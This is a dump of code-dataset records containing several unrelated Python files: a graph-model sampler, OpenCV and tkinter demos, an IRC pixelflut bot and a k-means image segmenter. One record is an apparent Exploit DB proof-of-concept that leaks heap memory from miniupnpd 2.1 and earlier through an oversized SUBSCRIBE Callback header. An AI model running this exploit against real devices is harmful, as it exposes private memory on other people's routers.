weight(self, adj):\n \"\"\"\n Compute the weight of adjacency matrix `adj`. This is the unnormalized probability of `adj` under the ergm.\n :param adj: Adjacency matrix of a graph\n :return: A float\n \"\"\"\n return math.exp(self.logweight(adj))\n\n def logweight(self, adj):\n \"\"\"\n Compute the hamiltonian of adj, i.e. the log of the weight of adj (see `weight`).\n :param adj: Adjacency matrix of a graph\n :return: a float\n \"\"\"\n # return np.sum([theta * k(adj) for theta, k in zip(self.theta, self.stats)])\n # return np.dot(self.stats(adj), self.theta)\n return self.theta.dot(self.stats(adj))\n\n def hamiltonian(self, adj):\n \"\"\"\n Returns `self.logweight(adj)`\n :param adj: Adjacency matrix\n :return: a float\n \"\"\"\n return self.logweight(adj)\n\n def sample_gibbs(self, n_nodes, n_samples=1, burn_in=None, n_steps=None, g0=None, print_logs=None):\n \"\"\"\n Sample from this ensemble, returning a 3d numpy array which is `n_nodes x n_nodes x n_samples` and a 2d\n numpy array which is `d x n_samples`, where `d` is the number of statistics. The second array stores the\n statistics of each sample, to avoid recomputing them (e.g. in parameter estimation)\n\n :param n_nodes: Number of nodes in the graph\n :param n_samples: Number of samples to return\n :param burn_in: Number of burn-in steps\n :param n_steps: Number of steps between samples\n :param g0: Initial adjacency matrix to use. Default is previous internal state for sampler, if appropriate\n :param print_logs: where to print logs. Default is None, suppressing output\n :return: A numpy array of integers (the adjacency matrices) and a numpy array of floats (the statistics)\n and a dictionary of diagnostic info \n\n This method uses Gibbs sampling.\n \"\"\"\n # TODO write up some details on the internals of this method in the docstring\n diagnostics = {}\n\n # Compute number of steps this MC will take\n if burn_in is None:\n if self.current_adj.shape[0] == n_nodes:\n burn_in = 0\n else:\n burn_in = 3 * int(math.ceil(n_nodes * math.log(n_nodes))) * len(self.theta)\n # above is based on some rough estimates/simulations\n if n_steps is None:\n n_steps = int(math.ceil(math.log(n_nodes))) * len(self.theta) * 2\n total_steps = burn_in + n_steps * n_samples # total steps taken by markov chain\n\n # initialize output arrays\n if self.use_sparse:\n samples = np.array([sparse.csr_matrix((n_nodes, n_nodes), dtype=int) for _ in range(n_samples)])\n else:\n samples = np.zeros((n_nodes, n_nodes, n_samples), dtype=int)\n sample_stats = np.zeros((self.theta.shape[0], n_samples))\n\n # determine the sequence of edges to visit\n urand = np.random.rand(total_steps)\n pflip = np.zeros_like(urand) # the probability of flipping the edge at each step (aka proposal probability)\n accept = np.zeros_like(urand, dtype=bool) # whether the edge was flipped at each step\n accept_rate = np.zeros(n_samples) # what fraction of steps were actual moves from one sample to the next\n # rand_indexes = np.random.choice(range(n_nodes * (n_nodes - 1) // (1 + (not self.directed))), size=total_steps, replace=True)\n rand_indexes = np.random.randint(0, n_nodes * (n_nodes - 1) // (1 + (not self.directed)), size=total_steps)\n edge_sequence = index_to_edge(rand_indexes, n_nodes, self.directed)\n # TODO There might be a way to speed up indexing into a CSR matrix by reformatting the edge sequence\n\n if g0 is None and self.current_adj.shape[0] == n_nodes:\n log_msg(\"sample_gibbs: previous adjacency matrix found\", out=print_logs)\n # burn_in = 0 # we're picking up where we left off\n # pass\n elif g0 is None:\n log_msg(\"sample_gibbs: using empty graph for initial state\", out=print_logs)\n # self.current_adj = np.zeros((n_nodes, n_nodes))\n # self.current_stats = self.stats(self.current_adj)\n # self.current_logweight = np.dot(self.current_stats, self.theta)\n # TODO enable random initialization\n if self.use_sparse:\n self._initialize_sparse_adj(n_nodes, edge_sequence, reset_stats=True)\n else:\n self._initialize_dense_adj(n_nodes, reset_stats=True)\n self.proposed_stats = np.zeros_like(self.current_stats)\n # self.current_logweight = self.logweight(self.current_adj)\n else:\n log_msg(\"sample_gibbs: using provided adjacency matrix for initial state\", out=print_logs)\n self.current_adj = g0\n self.current_stats = self.stats(self.current_adj)\n self.current_logweight = self.theta.dot(self.current_stats)\n self.proposed_stats = np.zeros_like(self.current_stats)\n # self.current_logweight = self.logweight(g0)\n\n log_msg(\"sample_gibbs: %8d nodes\" % n_nodes, out=print_logs)\n log_msg(\"sample_gibbs: %8d burn-in steps\" % burn_in, out=print_logs)\n log_msg(\"sample_gibbs: %8d steps between samples\" % n_steps, out=print_logs)\n log_msg(\"sample_gibbs: %8d total steps\" % total_steps, out=print_logs)\n\n log_msg(\"sample_gibbs: beginning MCMC process\", out=print_logs)\n t_start = time.time()\n for step in range(total_steps):\n # assuming the logweight of the current state is already computed, we just need to compute the new values\n delta_k = self.delta_stats(self.current_adj, edge_sequence[0, step], edge_sequence[1, step])\n self.proposed_stats[:] = self.current_stats[:] - delta_k[:] # the [:] are there to avoid new allocations(?)\n self.proposed_logweight = self.theta.dot(self.proposed_stats)\n# p_flip = 1 / (1 + math.exp(self.theta.dot(delta_k)))\n delta_E = self.theta.dot(delta_k)\n try:\n pflip[step] = 1 / (1 + math.exp(self.theta.dot(delta_k)))\n except OverflowError:\n if delta_E > 0:\n pflip[step] = 0.0\n else:\n pflip[step] = 1.0\n# if urand[step] < p_flip:\n if urand[step] < pflip[step]:\n # flip the edge, save the logweight and stats\n self._toggle_current_edge(edge_sequence[0, step], edge_sequence[1, step])\n self.current_stats[:] = self.proposed_stats[:]\n self.current_logweight = self.proposed_logweight\n # avoid modifying self.current_adj, which may be sparse, until we're sure we're flipping the edge.\n accept[step] = True\n if step >= burn_in and (step - burn_in) % n_steps == 0:\n # emit sample\n sample_num = (step - burn_in) // n_steps\n if print_logs is not None and (n_samples < 10 or (sample_num + 1) % (n_samples // 10) == 0):\n log_msg(\"sample_gibbs: emitting sample %8d / %8d\" % (sample_num + 1, n_samples), out=print_logs)\n # samples[:, :, sample_num] = self.current_adj[:, :]\n if self.use_sparse:\n # samples[sample_num][:, :] = self.current_adj[:, :]\n samples[sample_num] = self.current_adj.copy()\n else:\n samples[:, :, sample_num] = self.current_adj[:, :]\n sample_stats[:, sample_num] = self.current_stats[:]\n accept_rate[sample_num] = accept[(step - n_steps):step].mean()\n t_end = time.time()\n log_msg(\"sample_gibbs: Sampling finished in\", t_end - t_start, \"s\", out=print_logs)\n diagnostics[\"proposal\"] = pflip\n diagnostics[\"accept\"] = accept\n diagnostics[\"accept_rate\"] = accept_rate\n\n return samples, sample_stats, diagnostics\n\n def _toggle_current_edge(self, u, v):\n \"\"\"\n Toggle edge (u,v) in the current adjacency matrix underlying the MCMC sampler\n\n :param u: first vertex\n :param v: second vertex\n :return: None\n \"\"\"\n # currently assuming a binary adjacency matrix; this may change in the future\n self.current_adj[u, v] = 1 - self.current_adj[u, v]\n if not self.directed:\n self.current_adj[v, u] = 1 - self.current_adj[v, u]\n\n def biased_loglikelihood(self, samples):\n \"\"\"\n Compute the biased log likelihood of `samples`, which is a `n_nodes` x `n_nodes` x `n_samples` numpy array,\n representing `n_samples` adjacency matrices. \"Biased\" means without computing the log of the partition function.\n\n :param samples: 3d numpy array, shape `n_nodes` x `n_nodes` x `n_samples`\n :return: a float\n \"\"\"\n return np.mean([self.logweight(samples[:, :, s_idx]) for s_idx in range(samples.shape[2])])\n\n def sampler_estimate_expected(self, n, f_vec=None, n_samples=None, **kwargs):\n \"\"\"\n Estimates the expected value of $f(G)$, where $f$ is a vector-valued function of graphs, for graphs $G$ with\n `n` nodes. The estimate is computed from `n_samples` (drawn with the gibbs sampler)\n\n :param n: integer, number of nodes\n :param f_vec: function which takes a graph and returns a vector. default is statistics that define the ergm.\n :param n_samples: integer, number of samples to use for estimation. Default is `n ** 2`\n\n :return: numpy array of estimated expected values of each function\n \"\"\"\n if f_vec is None:\n f_vec = self.stats\n if n_samples is None:\n n_samples = n ** 2\n\n samples, _ = self.sample_gibbs(n, n_samples, **kwargs)\n return np.array([f_vec(samples[:, :, i] for i in range(n_samples))]).mean(axis=0)\n\n def importance_estimate_expected(self, n, f_vec=None, n_samples=None, q=None):\n \"\"\"\n Estimate the expected value of $f(G)$ for each $f$ in `f_vec`, for graphs $G$ with `n` nodes. The estimate is\n computed by first drawing a large sample of Erdos-Renyi random graphs, computing their statistics,\n then taking the weighted average according to weights under the ergm.\n\n :param n: integer, number of nodes\n :param f_vec: iterable, list of functions; default is statistics that define the ergm\n :param n_samples: integer, the number of ER graphs to generate.\n :param q: edge density of ER samples. Default attempts to match ergm's edge density\n\n :return: numpy array of expected values of each function\n \"\"\"\n # TODO implement this correctly, currently it is (at least) missing a correction factor for the ER distribution\n if f_vec is None:\n f_vec = self.stats\n if n_samples is None:\n n_samples = n ** 2\n if q is None:\n q = 0.1 # TODO find a way to approximate edge density in ergm\n\n # er_samples = np.random.binomial(1, q, size=(n, n, n_samples))\n er_samples = (np.random.rand(n, n, n_samples) < q).astype(int)\n er_samples[range(n), range(n), :] = 0 # clear the diagonals\n\n # below, we avoid computing each f twice, by performing a single call in sample_stats then using that to\n # compute the corresponding weights\n # sample_stats = np.array([[f(er_samples[:, :, s_idx]) for s_idx in range(n_samples)] for f in f_vec])\n sample_stats = np.array([f_vec(er_samples[:, :, s_idx] for s_idx in range(n_samples))])\n sample_weights = np.exp((sample_stats * self.theta).sum()) # TODO check sum axis and broadcast-ability\n sample_weights = sample_weights / sample_weights.sum()\n\n return (sample_weights * sample_stats).sum()\n\n def parameter_estimation(self, observed, **kwargs):\n \"\"\"\n Estimate parameters for the given data. Currently only supports one method, maximum likelihood estimation via sampler.\n\n :param observed: Data to fit to. Numpy array, either n_nodes x n_nodes or n_nodes x n_nodes x n_samples\n :param kwargs:\n \"\"\"\n # currently just a wrapper for _MLE_sampler\n return self._MLE_sampler(observed, **kwargs)\n\n def _MLE_sampler(self, observed, n_estim_samples=100,\n alpha=1, alpha_rate=0.999, max_iter=1000, x_tol=1e-8,\n print_logs=None, sampler_logs=None, **kwargs):\n \"\"\"\n Compute the maximum likelihood estimate (MLE) of parameters for the observed data using gradient ascent on\n the likelihood. The expected value of the current ERGM is estimated by sampling.\n\n :param observed: Observed graphs, shape n_nodes x n_nodes x n_samples\n :param n_estim_samples: samples to use at each estimation step\n :param alpha: Scale factor of gradient.\n :param max_iter: Maximum number of iterations to take\n :param x_tol: Quit trying to optimize if gradient norm falls below x_tol\n :param print_logs: File pointer, where to print logs (default None to suppress output)\n :param sampler_logs: File pointer, where sampler method should print logs (default None to suppress output)\n :param kwargs: Additional keyword arguments are passed to sampler\n :return: Dictionary including trajectory and such.\n \"\"\"\n if len(observed.shape) == 2:\n k_obs = self.stats(observed)\n log_msg(\"MLE_sampler: Passed single graph; observed stats:\\n\", k_obs, out=print_logs)\n else:\n try:\n all_obs_k = np.array([self.stats(observed[:, :, i]) for i in range(observed.shape[2])])\n except:\n # if sparse arrays were used, observed will be an array of sparse matrices\n all_obs_k = np.array([self.stats(observed[i].tocsr()) for i in range(observed.shape[0])])\n k_obs = all_obs_k.mean(axis=0)\n log_msg(\"MLE_sampler: Computed stats, resulting shape:\", all_obs_k.shape, out=print_logs)\n log_msg(\"MLE_sampler: average stats:\", k_obs, out=print_logs)\n\n log_msg(\"MLE_sampler: %8d estimate samples\" % n_estim_samples, out=print_logs)\n log_msg(\"MLE_sampler: %8f alpha\" % alpha, out=print_logs)\n log_msg(\"MLE_sampler: %8d max iterations\" % max_iter, out=print_logs)\n log_msg(\"MLE_sampler: %8e L tolerance\" % x_tol, out=print_logs)\n\n # trajectory = np.zeros((max_iter, self.theta.shape[0]))\n\n n_nodes = observed.shape[0]\n\n # trajectory of thetas and such\n theta_t = np.zeros((max_iter + 1, *self.theta.shape))\n k_bar_t = np.zeros_like(theta_t)\n grad_t = np.zeros_like(theta_t)\n covar_t = np.zeros((max_iter + 1, *self.theta.shape, *self.theta.shape))\n\n # local variables of the algorithm\n delta_theta = np.zeros_like(self.theta)\n theta_t[0, :] = self.theta # store initial value of theta\n\n # the sample values at each iteration\n\n # The actual sample graphs are not needed, so for now, I'll just ignore them. If they turn out to be useful,\n # we can sort out how to handle sparse vs. non-sparse ERGMs.\n # if self.use_sparse:\n # G_samp = np.array([sparse.lil_matrix(0) for _ in range(n_estim_samples)])\n # else:\n # G_samp = np.zeros((n_nodes, n_nodes, n_estim_samples), dtype=int)\n k_samp = np.zeros((*self.theta.shape, n_estim_samples))\n\n log_msg(f\"{'iter':4} {'|theta(t)|':20} {'|gradient|':20} {'alpha':20} {'|Delta theta|':20}\", out=print_logs)\n stopping_criteria = []\n stop_iter = -1\n for step in range(max_iter):\n try:\n _, k_samp[:, :] = self.sample_gibbs(n_nodes, n_estim_samples, print_logs=sampler_logs,\n **kwargs)\n k_bar_t[step, :] = k_samp.mean(axis=1)\n covar_t[step, :, :] = np.cov(k_samp)\n grad_t[step, :] = k_obs - k_bar_t[step, :]\n grad_norm = np.linalg.norm(grad_t[step, :])\n delta_theta[:] = alpha * grad_t[step, :]\n\n log_msg(\n f\"{step:4d} {np.linalg.norm(theta_t[step, :]):20.8f} {grad_norm:20.8f} {alpha:20.8f} {alpha * grad_norm:20.8f}\",\n out=print_logs)\n\n theta_t[step + 1, :] = theta_t[step, :] + delta_theta\n self._set_theta(theta_t[step + 1, :], True)\n\n # update alpha\n alpha = alpha * alpha_rate\n # check stopping criteria\n # TODO implement 2nd order stopping criteria\n if step + 1 == max_iter:\n stopping_criteria.append(\"max_iter reached\")\n if grad_norm < x_tol:\n stopping_criteria.append(\"grad_norm < x_tol\")\n if len(stopping_criteria) > 0:\n stop_iter = step\n # break\n except KeyboardInterrupt:\n stopping_criteria.append(\"keyboard interrupt\")\n stop_iter = step - 1\n # break\n except Exception as e:\n stopping_criteria.append(\"unhandled exception: {}\".format(e))\n stop_iter = step - 1\n # break\n finally:\n if len(stopping_criteria) > 0:\n if stop_iter < 0:\n stop_iter = step\n break\n\n trajectory = {\"theta\": theta_t[:stop_iter, :],\n \"expected stats\": k_bar_t[:stop_iter, :],\n \"covariances\": covar_t[:stop_iter, :, :],\n \"gradient\": grad_t[:stop_iter, :],\n \"stop\": stopping_criteria,\n \"stop_iter\": stop_iter}\n return trajectory\n\n def _set_theta(self, theta_new, compute_new=False):\n \"\"\"\n Change the parameters theta of the ERGM. If compute_new is True, evaluates the statistics of the current\n state of the MC and updates its logweight.\n\n :param theta_new: new value for parameters\n :param compute_new: if true, compute logweight of the current MC state\n \"\"\"\n self.theta = theta_new\n if compute_new:\n self.current_logweight = self.logweight(self.current_adj)\n","repo_name":"sekunder/ergm","sub_path":"ergm.py","file_name":"ergm.py","file_ext":"py","file_size_in_byte":24993,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"11813062855","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread('Angrybird.png')\ngray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\nedges = cv2.Canny(gray,100,150,apertureSize = 3)#2nd and 3rd argument are minVal and maxVal\n\ncv2.imshow('lines',edges)\n\ncv2.waitKey(10000)\n\nlines = cv2.HoughLines(edges,1,np.pi/180,10) #4th argument is threshold(Or minimum no of vote it should get to be considered as a line)\n\"\"\"\nProbabilistic Hough Transform\n#Here it gives only the Start and End point so its more efficient.(best one to use and less computation)\n\nminLineLength = 100\nmaxLineGap = 10\nlines = cv2.HoughLinesP(edges,1,np.pi/180,100,minLineLength,maxLineGap)\nfor x1,y1,x2,y2 in lines[0]:\n\tcv2.line(img,(x1,y1),(x2,y2),(0,255,0),2)\n\nHough Circles are alao possible\n\"\"\"\n\nfor rho,theta in lines[0]:\n\ta = np.cos(theta)\n\tb = np.sin(theta)\n\tx0 = a*rho\n\ty0 = b*rho\n\tx1 = int(x0 + 1000*(-b))\n\ty1 = int(y0 + 1000*(a))\n\tx2 = int(x0 - 1000*(-b))\n\ty2 = int(y0 - 1000*(a))\n\tcv2.line(img,(x1,y1),(x2,y2),(0,0,255),2)\ncv2.imshow('houghlines3',img)\n\ncv2.waitKey(10000)","repo_name":"Vibashan/OpenCV_all_basics","sub_path":"Hough_transform.py","file_name":"Hough_transform.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32495103468","text":"#!/usr/bin/python3\n# miniupnpd <= v2.1 read out-of-bounds PoC\n# by b1ack0wl\n# https://github.com/b1ack0wl/miniupnpd_poc\n\nimport requests, socketserver, argparse, sys\n\nclass OK_HTTP_Response(socketserver.StreamRequestHandler):\n def handle(self):\n self.request.settimeout(self.server.timeout)\n self.server.notify = b\"\"\n try:\n line = self.rfile.read(1)\n while len(line) > 0:\n self.server.notify += line\n line = self.rfile.read(1)\n except:\n pass\n self.wfile.write(b\"HTTP/1.1 200 OK\\r\\n\\r\\n\")\n\ndef splash():\n print(\"[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]\")\n print(\"[*] by b1ack0wl\")\n\ndef leak_data(args):\n leak_size = ((1024*args.leak_amount)+526)\n callback_uri= \"A\" * leak_size\n headers= {'NT': 'upnp:event', 'Callback': ''.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'}\n server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response)\n server.timeout = args.timeout\n print(\"[+] Sending request...\")\n requests.request(method=\"SUBSCRIBE\",url=\"http://{}:{}/evt/L3F\".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout)\n server.handle_request()\n leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...'\n print(\"[+] Leaked Data: {}\".format(leaked_data))\n print(\"[+] Leaked Length: {}\".format(len(leaked_data)))\n print(\"[+] Done\")\n\ndef main():\n poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n poc_parser.add_argument('target_ip', help='IP address of vulnerable device.')\n poc_parser.add_argument('target_port', default=5000, help=\"Target Port.\", type=int)\n poc_parser.add_argument('--callback_ip', help=\"Local IP address for httpd listener.\", type=str)\n poc_parser.add_argument('--callback_port', help=\"Local port for httpd listener.\", type=int)\n poc_parser.add_argument('--timeout', default=5, help=\"Timeout for http requests (in seconds).\", type=float)\n poc_parser.add_argument('--leak_amount', default=1, help=\"Amount of arbitrary heap data to leak (in KB).\", type=int)\n args = poc_parser.parse_args()\n arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ]\n for i in arguments:\n if getattr(args, i) == None:\n poc_parser.print_help()\n sys.exit(1)\n leak_data(args)\n\nif __name__ == '__main__':\n splash()\n main()","repo_name":"ryanmrestivo/red-team","sub_path":"_Resources/Exploit DB 2021-12-11/exploits/linux/dos/46278.py","file_name":"46278.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"} +{"seq_id":"33846333593","text":"import math\r\nimport cmath\r\nimport tkinter as tk\r\n\r\nclass Speedometer():\r\n def __init__(self, parent, xpos, ypos, size=100,\r\n max_value: (float, int) = 100.0,\r\n min_value: (float, int) = 0.0,\r\n img_data: str = None,\r\n bg_col: str = 'blue', unit: str = None):\r\n self.size = size\r\n self.xpos = xpos\r\n self.ypos = ypos\r\n self.parent = parent\r\n self.max_value = float(max_value)\r\n self.min_value = float(min_value)\r\n self.size = size\r\n self.bg_col = bg_col\r\n self.unit = '' if not unit else unit\r\n\r\n def draw(self):\r\n self.canvas = tk.Canvas(self.parent, width=self.size, height=self.size - self.size / 6, bg=self.bg_col,\r\n highlightthickness=0)\r\n self.canvas.place(x=self.xpos, y=self.ypos)\r\n self.draw_background()\r\n self.draw_tick()\r\n initial_value = 0.0\r\n self.set_value(initial_value)\r\n\r\n def to_absolute(self, x, y):\r\n return x + self.size / 2, y + self.size / 2\r\n\r\n def draw_dial(self, canv, x0, y0, degree, t, r):\r\n this_color = \"#00A2E8\"\r\n xr = x0\r\n yr = y0\r\n angle = math.radians(degree)\r\n cos_val = math.cos(angle)\r\n sin_val = math.sin(angle)\r\n dy = r * sin_val\r\n dx = r * cos_val\r\n dx2 = t * sin_val\r\n dy2 = t * cos_val\r\n mlx = xr + dx\r\n mly = yr - dy\r\n mrx = xr - dx\r\n mry = yr + dy\r\n px = xr + dx2\r\n py = yr + dy2\r\n xy = x0 - r, y0 - r, x0 + 1 * r, y0 + 1 * r\r\n xyz = mlx, mly, px, py, mrx, mry\r\n canv.delete('dial')\r\n canv.create_arc(xy, start=degree, extent=180, fill=this_color, tags=('dial', 'one', 'two', 'three', 'four'))\r\n canv.create_polygon(xyz, fill=this_color, tags=('dial', 'two'))\r\n canv.create_oval(xr - 5, yr - 5, xr + 5, yr + 5, fil=this_color, tags=('dial', 'three'))\r\n canv.create_line(xr, yr, px, py, fill=\"light gray\", tags=('dial', 'four'))\r\n\r\n def draw_background(self, divisions=100):\r\n self.canvas.create_arc(self.size / 5, self.size / 6, self.size - self.size / 6, self.size - self.size / 6,\r\n style=\"arc\", width=self.size / 10, start=-61, extent=61,\r\n outline=\"red\") # style=tk.PIESLICE\r\n self.canvas.create_arc(self.size / 6, self.size / 6, self.size - self.size / 6, self.size - self.size / 6,\r\n width=self.size / 10, style=\"arc\", start=0, extent=60,\r\n outline=\"orange\")\r\n self.canvas.create_arc(self.size / 6, self.size / 6, self.size - self.size / 6, self.size - self.size / 6,\r\n width=self.size / 10, style=\"arc\", start=60, extent=60,\r\n outline=\"yellow\")\r\n self.canvas.create_arc(self.size / 6, self.size / 6, self.size - self.size / 6, self.size - self.size / 6,\r\n width=self.size / 10, style=\"arc\", start=120, extent=60,\r\n outline=\"light green\")\r\n self.canvas.create_arc(self.size / 6, self.size / 6, self.size - self.size / 6, self.size - self.size / 6,\r\n width=self.size / 10, style=\"arc\", start=180, extent=60,\r\n outline=\"green\")\r\n self.readout = self.canvas.create_text(self.size / 2, 4 * self.size / 5,\r\n font=(\"Arial\", int(self.size / 18), 'bold'), fill=\"black\", text='')\r\n\r\n def draw_tick(self, divisions=100):\r\n inner_tick_radius = int((self.size - self.size / 9) * 0.35)\r\n outer_tick_radius = int((self.size - self.size / 9) * 0.43)\r\n label = self.unit\r\n self.canvas.create_text(self.size / 2, 3 * self.size / 5, font=(\"Arial\", int(self.size / 20)), fill=\"black\",\r\n text=label, angle=0)\r\n self.readout = self.canvas.create_text(self.size / 2, 4 * self.size / 5,\r\n font=(\"Arial\", int(self.size / 18), 'bold'), fill=\"black\", text='')\r\n inner_tick_radius2 = int((self.size - self.size / 9) * 0.48)\r\n outer_tick_radius2 = int((self.size - self.size / 9) * 0.51)\r\n inner_tick_radius3 = int((self.size - self.size / 9) * 0.35)\r\n outer_tick_radius3 = int((self.size - self.size / 9) * 0.40)\r\n\r\n for tick in range(divisions + 1):\r\n angle_in_radians = (2.0 * cmath.pi / 3.0) + tick / divisions * (5.0 * cmath.pi / 3.0)\r\n inner_point = cmath.rect(inner_tick_radius, angle_in_radians)\r\n outer_point = cmath.rect(outer_tick_radius, angle_in_radians)\r\n if (tick % 10) == 0:\r\n self.canvas.create_line(\r\n self.to_absolute(inner_point.real, inner_point.imag),\r\n self.to_absolute(outer_point.real, outer_point.imag),\r\n width=2, fill='blue')\r\n else:\r\n inner_point3 = cmath.rect(inner_tick_radius3, angle_in_radians)\r\n outer_point3 = cmath.rect(outer_tick_radius3, angle_in_radians)\r\n self.canvas.create_line(\r\n self.to_absolute(inner_point3.real, inner_point3.imag),\r\n self.to_absolute(outer_point3.real, outer_point3.imag),\r\n width=1, fill='black')\r\n if (tick % 10) == 0:\r\n inner_point2 = cmath.rect(inner_tick_radius2, angle_in_radians)\r\n outer_point2 = cmath.rect(outer_tick_radius2, angle_in_radians)\r\n x = outer_point2.real + self.size / 2\r\n y = outer_point2.imag + self.size / 2\r\n label = int(self.min_value + tick * (self.max_value - self.min_value) / 100)\r\n if self.min_value < label < self.max_value:\r\n self.canvas.create_text(x, y, font=(\"Arial\", int(self.size / 25)), fill=\"black\", text=str(label))\r\n\r\n def set_value(self, number):\r\n number = number if number <= self.max_value else self.max_value\r\n number = number if number > self.min_value else self.min_value\r\n degree = 30.0 + (number - self.min_value) / (self.max_value - self.min_value) * 300.0\r\n self.draw_dial(self.canvas, self.size / 2, self.size / 2, -1 * degree, self.size / 3, 8)\r\n label = str('{:3.2f}'.format(number))\r\n self.canvas.delete(self.readout)\r\n self.readout = self.canvas.create_text(self.size / 2, 4 * self.size / 5, font=(\"Arial\", int(self.size / 18), 'bold'), fill=\"black\", text=label, angle=0)\r\n","repo_name":"ambith/comoxgui","sub_path":"widget_speedometer.py","file_name":"widget_speedometer.py","file_ext":"py","file_size_in_byte":6640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73435784054","text":"#!/usr/bin/env python\n\n# This code sucks.\n\nimport irc.bot\nimport irc.strings\nfrom irc.client import ip_numstr_to_quad, ip_quad_to_numstr\nimport shlex\n\nfrom parse import *\n\nimport usage\nimport images\n\nfrom draw import PixelFlutDrawer as PixelFlut\n\n# So many better ways of doing this....\ndef validate_hexcode(value):\n if len(value) not in [6, 8]:\n return False\n for c in value:\n if c not in ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']:\n return False\n return True\n\nclass PixelFlutBot(irc.bot.SingleServerIRCBot):\n def __init__(self, channel, nickname, server, pixelflut):\n irc.bot.SingleServerIRCBot.__init__(\n self,\n [(server['host'], server['port'], server['password'])],\n nickname,\n nickname\n )\n self.channel = channel\n self.pixelflut = PixelFlut(pixelflut['host'], pixelflut['port'])\n self.width, self.height = self.pixelflut.screen()\n\n def on_nicknameinuse(self, c, e):\n c.nick(c.get_nickname() + \"_\")\n\n def on_welcome(self, c, e):\n c.join(self.channel)\n\n def on_pubmsg(self, c, e):\n a = e.arguments[0].split(\":\", 1)\n channel = e.target\n if a[0][0] == '!':\n # send pixelflut command\n response = self.parse_command(a[0])\n if response != None:\n # send a message to the user letting them know of their error\n c.privmsg(channel, response)\n\n # Figure out what to do with the command.\n def parse_command(self, command):\n split = shlex.split(command)\n # Quick bit of validation to drop commands that we don't know of.\n if split[0] not in ['!px', '!image', '!text', '!help']:\n return 'Invalid Command!'\n if split[0] == '!px':\n # validate length of command\n if len(split) not in [4, 5]:\n return usage.px\n scale = 10\n color = ''\n try:\n x = int(split[1])\n y = int(split[2])\n if validate_hexcode(split[3]):\n color = split[3]\n else:\n return usage.px\n except:\n return usage.px\n if len(split) == 5:\n try:\n scale = int(split[4])\n except:\n pass\n self.pixelflut.pixel(x, y, color, scale)\n elif split[0] == '!image':\n # Parse the input..\n if len(split) not in [4, 5]:\n return usage.image\n scale = 1\n try:\n x = int(split[1])\n y = int(split[2])\n if split[3] in images.approved:\n image = images.approved[split[3]]\n else:\n return usage.image\n except:\n return usage.image\n if len(split) == 5:\n try:\n scale = int(split[4])\n except:\n pass\n # OK. Now trigger the command.\n self.pixelflut.image(x, y, image, scale)\n elif split[0] == '!text':\n if len(split) not in [5, 6]:\n return usage.text\n scale = 10\n color = ''\n try:\n x = int(split[1])\n y = int(split[2])\n if validate_hexcode(split[3]):\n color = split[3]\n else:\n return usage.text\n text = split[4]\n except:\n return usage.text\n if len(split) == 6:\n try:\n scale = int(split[5])\n except:\n pass\n self.pixelflut.text(x, y, color, text, scale)\n elif split[0] == '!help':\n return usage.info\n","repo_name":"bahorn/pixelflut-twitch-stream","sub_path":"bot/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"231612086","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport argparse\nimport time\nfrom multiprocessing import Pool\n\ndef kmeans_cluster(pixel_array, K, criteria, kloops):\n compactness,labels,center = cv2.kmeans(pixel_array, K, None, criteria, kloops, cv2.KMEANS_RANDOM_CENTERS)\n return (compactness, labels, center, K)\n\ndef kmeans_segment(args):\n maxK = args.maxk\n kloops = args.kloops\n thresh = args.thresh\n image = cv2.imread(f\"./input/{args.infile}\")\n image_array = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n pixel_array = image_array.reshape((-1,3))\n pixel_array = np.float32(pixel_array)\n\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10, 1.0)\n\n pool = Pool()\n job_list = []\n for K in range(1,maxK+1):\n # return values are sum of squared distances (min obj), label array, and array of centroids\n job_list.append((pixel_array, K, criteria, kloops))\n \n start = time.time()\n data_output = pool.starmap(kmeans_cluster, job_list)\n pool.close()\n pool.join()\n best_cluster = sorted(data_output)[0]\n end = time.time()\n elapsed = end - start\n\n best_compactness = best_cluster[0]\n best_labels = best_cluster[1]\n best_center = best_cluster[2]\n bestK = best_cluster[3]\n\n imgB = pixel_array.size * 4 * maxK * kloops\n imgGB = imgB / (1e9)\n\n best_center = np.uint8(best_center)\n segimg_array = best_center[best_labels.flatten()]\n segimg_array = segimg_array.reshape((image_array.shape))\n return (segimg_array, start, end, imgGB, elapsed, imgGB/elapsed, bestK)\n\ndef main(args):\n output = kmeans_segment(args)\n with open(f\"{args.outdir}/diagnostics.txt\", \"a+\") as f:\n plt.imsave(f\"{args.outdir}/new_{args.infile}\", output[0])\n f.write(f\"{args.infile},{output[1]},{output[2]},{output[3]},{output[4]},{output[5]},{output[6]}\\n\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--infile\", required=True, help=\"Input file for processing.\")\n parser.add_argument(\"--outdir\", required=True, help=\"Output directory to store segmented image.\")\n parser.add_argument(\"--maxk\", type=int, nargs='?', default=10, help=\"Max number of clusters to attempt in segmentation.\")\n parser.add_argument(\"--kloops\", type=int, nargs='?', default=10, help=\"Number of internal iterations OpenCV kmeans will perform\")\n parser.add_argument(\"--thresh\", type=float, nargs='?', default=0.0, help=\"Minimum 